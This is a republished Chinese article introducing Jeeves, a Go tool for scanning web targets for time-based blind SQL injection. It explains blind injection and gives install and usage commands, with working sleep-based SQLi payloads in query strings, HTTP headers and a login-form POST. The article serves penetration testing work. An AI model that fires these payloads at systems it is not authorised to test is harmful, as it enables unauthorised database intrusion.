前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Jeeves:一款功能强大的SQL注入漏洞扫描工具

Jeeves:一款功能强大的SQL注入漏洞扫描工具

作者头像
FB客服
发布2023-04-26 17:10:24
5080
发布2023-04-26 17:10:24
举报
文章被收录于专栏:FreeBufFreeBuf

 关于Jeeves 

Jeeves是一款功能强大的SQL注入漏洞扫描工具,在该工具的帮助下,广大研究人员可以轻松通过网络侦查等方式来寻找目标应用程序中潜在的基于时间的SQL盲注漏洞。

 关于盲注 

盲注分为两类:

1、布尔盲注:布尔很明显Ture跟Fales,也就是说它只会根据我们的注入信息返回Ture跟False,也就没有了之前的报错信息。 2、时间盲注:界面返回值只有一种,即Ture。也就是说,无论输入任何值,返回情况都会按正常的来处理。加入特定的时间函数之后,我们将能够通过查看Web页面返回的时间差来判断注入的语句是否正确。

 工具安装 

该工具基于Go语言开发,因此我们首先需要在本地设备上安装并配置好Go语言环境。

接下来,我们可以直接使用go命令来安装Jeeves:

代码语言:javascript
复制
$ go install github.com/ferreiraklet/Jeeves@latest

除此之外,我们还可以使用下列命令将该项目源码克隆至本地,并给Jeeves提供可执行权限:

代码语言:javascript
复制
$ git clone https://github.com/ferreiraklet/Jeeves.git
$ cd Jeeves
$ go build jeeves.go
$ chmod +x jeeves
$ ./jeeves -h

 工具使用 

在我们的网络侦查的过程中,我们可能会找到如下所示的一个可能存在SQL注入漏洞的节点:

代码语言:javascript
复制
https://redacted.com/index.php?id=1

接下来,我们可以通过各种方式来对该节点进行测试。

测试单个URL

代码语言:javascript
复制
echo 'https://redacted.com/index.php?id=your_time_based_blind_payload_here' | jeeves -t payload_time
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(10)))v)" | jeeves -t 10

在--payload-time选项中,我们必须在Payload中使用相同的时间。

从地址列表读取

代码语言:javascript
复制
cat targets | jeeves --payload-time 5

添加Header

注意下列语句,也必须是相同的时间:

代码语言:javascript
复制
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -H "Testing: testing;OtherHeader: Value;Other2: Value"

使用代理

代码语言:javascript
复制
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 --proxy "http://ip:port"
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -p "http://ip:port"

代理+Header

代码语言:javascript
复制
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5 --proxy "http://ip:port" -H "User-Agent: xxxx"

 POST请求

在通过Post请求来发送数据的场景中(比如说登录表单)可以使用下列方式来测试:

代码语言:javascript
复制
echo "https://example.com/Login.aspx" | jeeves -t 10 -d "user=(select(0)from(select(sleep(5)))v)&password=xxx"
echo "https://example.com/Login.aspx" | jeeves -t 10 -H "Header1: Value1" -d "username=admin&password='+(select*from(select(sleep(5)))a)+'" -p "http://yourproxy:port"

 命令行使用 

代码语言:javascript
复制
Usage:
 -t, --payload-time,    Payload中定义的时间
 -p, --proxy           向代理发送流量
 -c                   设置并发度,默认为25
 -H, --headers         自定义Header
 -d, --data            使用Post请求发送数据
 -h                   显示帮助信息

使用SQL Payload字典运行Jeeves:

代码语言:javascript
复制
cat sql_wordlist.txt | while read payload;do echo http://testphp.vulnweb.com/artists.php?artist= | qsreplace $payload | jeeves -t 5;done

测试Header:

代码语言:javascript
复制
echo "https://target.com" | jeeves -H "User-Agent: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10
echo "https://target.com" | jeeves -H "X-Forwarded-For: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10


Payload credit: https://github.com/rohit0x5

许可证协议

本项目的开发与发布遵循MIT开源许可证协议。

项目地址

https://github.com/ferreiraklet/Jeeves

参考资料

https://github.com/ferreiraklet/nilo

https://github.com/sqlmapproject/sqlmap

https://github.com/JohnTroony/Blisqy

精彩推荐

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-06-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  •  关于Jeeves 
  •  关于盲注 
  •  工具安装 
  •  工具使用 
    • 测试单个URL
      • 从地址列表读取
        • 添加Header
          • 使用代理
            • 代理+Header
            •  命令行使用 
            • 许可证协议
            • 项目地址
            • 参考资料
            相关产品与服务
            腾讯云服务器利旧
            云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档